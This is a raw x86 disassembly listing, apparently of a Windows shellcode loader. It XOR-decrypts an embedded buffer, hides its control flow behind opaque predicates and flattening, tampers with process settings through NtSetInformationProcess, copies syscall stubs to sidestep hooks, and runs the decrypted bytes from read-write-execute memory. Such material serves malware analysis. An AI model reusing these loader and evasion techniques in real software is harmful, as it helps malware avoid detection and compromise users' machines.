movaps xmm0, xmmword [ebx + 0x70]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [ebx + 0x70], xmm0
movaps xmm0, xmmword [ebx + 0x80]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [ebx + 0x80], xmm0
movaps xmm0, xmmword [ebx + 0x90]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [ebx + 0x90], xmm0
movaps xmm0, xmmword [ebx + 0xa0]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [ebx + 0xa0], xmm0
movaps xmm0, xmmword [ebx + 0xb0]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [ebx + 0xb0], xmm0
movaps xmm0, xmmword [ebx + 0xc0]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [ebx + 0xc0], xmm0
movaps xmm0, xmmword [ebx + 0xd0]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [ebx + 0xd0], xmm0
movaps xmm0, xmmword [ebx + 0xe0]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [ebx + 0xe0], xmm0
movaps xmm0, xmmword [ebx + 0xf0]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [ebx + 0xf0], xmm0
movaps xmm0, xmmword [ebx + 0x100]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [ebx + 0x100], xmm0
movaps xmm0, xmmword [ebx + 0x110]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [ebx + 0x110], xmm0
movaps xmm0, xmmword [ebx + 0x120]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [ebx + 0x120], xmm0
movaps xmm0, xmmword [ebx + 0x130]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [ebx + 0x130], xmm0
movaps xmm0, xmmword [ebx + 0x140]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [ebx + 0x140], xmm0
movaps xmm0, xmmword [ebx + 0x150]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [ebx + 0x150], xmm0
movaps xmm0, xmmword [ebx + 0x160]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [ebx + 0x160], xmm0
movaps xmm0, xmmword [ebx + 0x170]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [ebx + 0x170], xmm0
movaps xmm0, xmmword [ebx + 0x180]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [ebx + 0x180], xmm0
movaps xmm0, xmmword [ebx + 0x190]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [ebx + 0x190], xmm0
movaps xmm0, xmmword [ebx + 0x1a0]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [ebx + 0x1a0], xmm0
movaps xmm0, xmmword [ebx + 0x1b0]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [ebx + 0x1b0], xmm0
movaps xmm0, xmmword [ebx + 0x1c0]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [ebx + 0x1c0], xmm0
movaps xmm0, xmmword [ebx + 0x1d0]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [ebx + 0x1d0], xmm0
movaps xmm0, xmmword [ebx + 0x1e0]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [ebx + 0x1e0], xmm0
movaps xmm0, xmmword [ebx + 0x1f0]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [ebx + 0x1f0], xmm0
movaps xmm0, xmmword [ebx + 0x200]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [ebx + 0x200], xmm0
movaps xmm0, xmmword [ebx + 0x210]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [ebx + 0x210], xmm0
movaps xmm0, xmmword [ebx + 0x220]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [ebx + 0x220], xmm0
movaps xmm0, xmmword [ebx + 0x230]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [ebx + 0x230], xmm0
movaps xmm0, xmmword [ebx + 0x240]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [ebx + 0x240], xmm0
movaps xmm0, xmmword [ebx + 0x250]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [ebx + 0x250], xmm0
movaps xmm0, xmmword [ebx + 0x260]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [ebx + 0x260], xmm0
movaps xmm0, xmmword [ebx + 0x270]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [ebx + 0x270], xmm0
movaps xmm0, xmmword [ebx + 0x280]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [ebx + 0x280], xmm0
movaps xmm0, xmmword [ebx + 0x290]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [ebx + 0x290], xmm0
movaps xmm0, xmmword [ebx + 0x2a0]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [ebx + 0x2a0], xmm0
movaps xmm0, xmmword [ebx + 0x2b0]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [ebx + 0x2b0], xmm0
movaps xmm0, xmmword [ebx + 0x2c0]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [ebx + 0x2c0], xmm0
movaps xmm0, xmmword [ebx + 0x2d0]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [ebx + 0x2d0], xmm0
movaps xmm0, xmmword [ebx + 0x2e0]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [ebx + 0x2e0], xmm0
movaps xmm0, xmmword [ebx + 0x2f0]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [ebx + 0x2f0], xmm0
movaps xmm0, xmmword [ebx + 0x300]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [ebx + 0x300], xmm0
movaps xmm0, xmmword [ebx + 0x310]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [ebx + 0x310], xmm0
movaps xmm0, xmmword [ebx + 0x320]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [ebx + 0x320], xmm0
movaps xmm0, xmmword [ebx + 0x330]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [ebx + 0x330], xmm0
movaps xmm0, xmmword [ebx + 0x340]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [ebx + 0x340], xmm0
movaps xmm0, xmmword [ebx + 0x350]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [ebx + 0x350], xmm0
movaps xmm0, xmmword [ebx + 0x360]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [ebx + 0x360], xmm0
movaps xmm0, xmmword [ebx + 0x370]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [ebx + 0x370], xmm0
movaps xmm0, xmmword [ebx + 0x380]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [ebx + 0x380], xmm0
movaps xmm0, xmmword [ebx + 0x390]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [ebx + 0x390], xmm0
movaps xmm0, xmmword [ebx + 0x3a0]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [ebx + 0x3a0], xmm0
movaps xmm0, xmmword [ebx + 0x3b0]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [ebx + 0x3b0], xmm0
movaps xmm0, xmmword [ebx + 0x3c0]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [ebx + 0x3c0], xmm0
movaps xmm0, xmmword [ebx + 0x3d0]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [ebx + 0x3d0], xmm0
movaps xmm0, xmmword [ebx + 0x3e0]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [ebx + 0x3e0], xmm0
movaps xmm0, xmmword [ebx + 0x3f0]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [ebx + 0x3f0], xmm0
movaps xmm0, xmmword [ebx + 0x400]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [ebx + 0x400], xmm0
movaps xmm0, xmmword [ebx + 0x410]
xorps xmm0, xmmword [eax + 0x410]
movaps xmmword [ebx + 0x410], xmm0
movaps xmm0, xmmword [ebx + 0x420]
xorps xmm0, xmmword [eax + 0x420]
movaps xmmword [ebx + 0x420], xmm0
movaps xmm0, xmmword [ebx + 0x430]
xorps xmm0, xmmword [eax + 0x430]
movaps xmmword [ebx + 0x430], xmm0
movaps xmm0, xmmword [ebx + 0x440]
xorps xmm0, xmmword [eax + 0x440]
movaps xmmword [ebx + 0x440], xmm0
movaps xmm0, xmmword [ebx + 0x450]
xorps xmm0, xmmword [eax + 0x450]
movaps xmmword [ebx + 0x450], xmm0
movaps xmm0, xmmword [ebx + 0x460]
xorps xmm0, xmmword [eax + 0x460]
movaps xmmword [ebx + 0x460], xmm0
movaps xmm0, xmmword [ebx + 0x470]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [ebx + 0x470], xmm0
mov dword [esi + 0x10], edx
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx + 0xc], 0
mov dword [esi + 0x1c], 0
push 0x480
call fcn.0040ec72
add esp, 4
mov edi, eax
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov dword [eax + 0x10], 0x47c
mov dword [eax + 0x14], 0x47f
push 0x47c
push ebx
mov ebx, dword [esi + 0x20]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [esi + 0x38]
add esp, 0xc
mov byte [edi + 0x47c], 0
mov edi, dword [esi + 0x3c]
mov eax, dword [esi + 0x14]
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0x47c
cmp dword [0x42f258], 0xa
jl 0x40e058
mov eax, dword [0x42f25c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40e170
mov eax, 0x8dfe4f2d
mov ecx, 0x21c25194
mov dword [ebx + 4], ecx
mov dword [ebx], eax
mov eax, 0x16da2c1c
mov ecx, 0x8a536b67
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov eax, 0x5b475da9
mov ecx, 0xbba77e39
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], eax
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edx
mov eax, dword [esi + 0x18]
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x54], eax
mov eax, dword [esi + 0x34]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
mov dword [ebx + 0x1c], eax
mov dword [esi + 0x5c], eax
mov eax, dword [esi + 0x2c]
mov dword [ebx + 0x18], eax
mov dword [esi + 0x58], eax
lea eax, [esi + 0x40]
mov ecx, dword [esi + 0x1c]
movaps xmm0, xmmword [ebx]
xorps xmm0, xmmword [eax]
movaps xmm1, xmmword [ebx + 0x10]
movaps xmmword [ebx], xmm0
xorps xmm1, xmmword [eax + 0x10]
movaps xmmword [ebx + 0x10], xmm1
cmp dword [0x42f248], 0xa
jl 0x40e0ef
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40692b
cmp byte [0x42f374], 0
je 0x40e172
push str.NtSetInformationProcess
push dword [0x42f384]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e181
mov edi, eax
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x48], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0xdd8], 0
push 0xc
lea ecx, [esi + 0x40]
push ecx
push 0x28
push eax
call edi
sar eax, 0x1f
and eax, 0xfffffffe
mov ebx, dword [esi + 0x20]
jmp 0x40e186
jmp 0x40e150
jmp 0x40e160
jmp 0x40e170
mov eax, 0xfffffffa
mov dword [0x42f370], eax
jmp 0x40e201
mov eax, 0xffffffff
mov dword [0x42f370], eax
mov edi, dword [0x42f378]
push ebx
push dword [0x42f384]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40e1b7
push ebx
push dword [0x42f388]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e638
cmp byte [eax], 0xb8
je 0x40e1c2
cmp byte [eax + 5], 0xba
jne 0x40e201
mov ecx, dword [0x42f378]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 7]
movsd qword [ecx + 7], xmm1
movsd qword [ecx], xmm0
mov dword [0x42f370], 0
mov dword [esi + 0xdd8], 0
push 0x40
push 0x1000
push dword [esi + 0x24]
push 0
push dword [esi + 0x14]
push 0xffffffffffffffff
call edi
mov eax, dword [esi + 0x14]
mov edx, dword [eax]
mov ecx, dword [0x42f24c]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
mov ecx, dword [0x42f248]
mov dword [esi + 0xc], edx
test edx, edx
je 0x40e4f2
cmp ecx, 0xa
mov ecx, dword [esi + 0x10]
jl 0x40e25b
test eax, eax
je 0x40e25b
nop word cs:[eax + eax]
jmp 0x40e240
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov dword [esi + 0xc], eax
mov ecx, dword [esi + 0x10]
mov eax, dword [ecx + 0x10]
mov dword [esi + 0x18], eax
cmp dword [ecx + 0x14], 0x10
mov edi, ecx
jb 0x40e26b
mov edi, dword [ecx]
mov edx, 0x29
xor ebx, ebx
cmp ebx, dword [esi + 0x18]
mov ecx, 0x4823
mov eax, 0x18be
cmovb ecx, eax
jmp 0x40e295
mov edx, 0x4ae1
mov eax, edx
cmp edx, 0x4822
jg 0x40e2c0
mov edx, ecx
cmp eax, 0x29
je 0x40e295
nop word cs:[eax + eax]
cmp eax, 0x18be
jne 0x40e2dd
jmp 0x40e2f0
cmp eax, 0x4823
je 0x40e290
cmp eax, 0x4ae1
je 0x40e370
cmp eax, 0x6784
je 0x40e360
cmp eax, 0x4822
jg 0x40e2c0
cmp eax, 0x29
jne 0x40e2b0
mov edx, ecx
jmp 0x40e295
movzx eax, byte [edi + ebx]
mov ecx, dword [esi + 0xc]
mov byte [ecx + ebx], al
cmp dword [0x42f240], 0xa
mov edx, 0x6784
jl 0x40e272
mov eax, dword [0x42f244]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40e272
movzx eax, byte [edi + ebx]
mov ecx, dword [esi + 0xc]
mov byte [ecx + ebx], al
movzx eax, byte [edi + ebx]
mov byte [ecx + ebx], al
mov ecx, dword [0x42f244]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x42f240], 0xa
jl 0x40e272
test eax, eax
jne 0x40e320
jmp 0x40e272
inc ebx
mov edx, 0x29
jmp 0x40e272
cmp dword [0x42f248], 0xa
jl 0x40e4bb
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40e4bb
mov eax, dword [esi + 0x10]
cmp dword [eax + 0x14], 0x10
mov dword [esi + 0xc], eax
jb 0x40e3a2
mov ecx, dword [eax]
mov dword [esi + 0xc], ecx
mov eax, dword [eax + 0x10]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
mov edi, dword [eax]
mov edx, 0x29
xor ebx, ebx
cmp ebx, dword [esi + 0x18]
mov ecx, 0x4823
mov eax, 0x18be
cmovb ecx, eax
jmp 0x40e3d5
mov edx, 0x4ae1
mov eax, edx
cmp edx, 0x4822
jg 0x40e400
mov edx, ecx
cmp eax, 0x29
je 0x40e3d5
nop word cs:[eax + eax]
cmp eax, 0x18be
jne 0x40e41d
jmp 0x40e430
cmp eax, 0x4823
je 0x40e3d0
cmp eax, 0x4ae1
je 0x40e250
cmp eax, 0x6784
je 0x40e4b0
cmp eax, 0x4822
jg 0x40e400
cmp eax, 0x29
jne 0x40e3f0
mov edx, ecx
jmp 0x40e3d5
mov eax, dword [esi + 0xc]
movzx eax, byte [eax + ebx]
mov byte [edi + ebx], al
cmp dword [0x42f240], 0xa
mov edx, 0x6784
jl 0x40e3b4
mov ecx, dword [0x42f244]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
je 0x40e3b4
nop word cs:[eax + eax]
mov ecx, dword [esi + 0xc]
movzx eax, byte [ecx + ebx]
mov byte [edi + ebx], al
movzx eax, byte [ecx + ebx]
mov byte [edi + ebx], al
mov ecx, dword [0x42f244]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x42f240], 0xa
jl 0x40e3b4
test eax, eax
jne 0x40e470
jmp 0x40e3b4
inc ebx
mov edx, 0x29
jmp 0x40e3b4
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov dword [esi + 0xdd8], 0
call eax
mov edx, dword [0x42f24c]
mov ecx, dword [0x42f248]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x40e4f2
test eax, eax
mov ebx, dword [esi + 0x10]
je 0x40e4f5
nop dword [eax]
jmp 0x40e4f0
mov ebx, dword [esi + 0x10]
cmp ecx, 0xa
jl 0x40e5aa
test eax, eax
je 0x40e5aa
nop word cs:[eax + eax]
mov eax, dword [ebx + 0x14]
cmp eax, 0x10
jb 0x40e547
mov ecx, dword [ebx]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x40e53d
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40e647
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040eca7
add esp, 8
mov eax, dword [ebx + 0x14]
cmp eax, 0x10
jb 0x40e57e
mov ecx, dword [ebx]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x40e574
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40e647
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040eca7
add esp, 8
cmp dword [0x42f248], 0xa
jl 0x40e5aa
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x40e510
jmp 0x40e5aa
push edi
push ecx
call fcn.0040eca7
add esp, 8
mov eax, dword [ebx + 0x14]
cmp eax, 0x10
jb 0x40e5dd
mov ecx, dword [ebx]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x40e5d3
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40e647
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.0040eca7
add esp, 8
cmp dword [0x42f248], 0xa
jl 0x40e624
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40e624
mov eax, dword [ebx + 0x14]
cmp eax, 0x10
jb 0x40e5aa
mov ecx, dword [ebx]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x40e5a0
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40e647
add eax, 0x24
mov edi, eax
mov ecx, edx
jmp 0x40e5a0
mov eax, dword [esi + 0xdd0]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xfffffffc
mov dword [0x42f370], eax
jmp 0x40e201
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop dword [eax]
push ebp
sub esp, 0x18
lea esi, [ebp - 0xddc]
mov ebp, dword [esi + 0xdc8]
mov ecx, dword [esi + 0x10]
call fcn.004012a0
add esp, 0x18
pop ebp
ret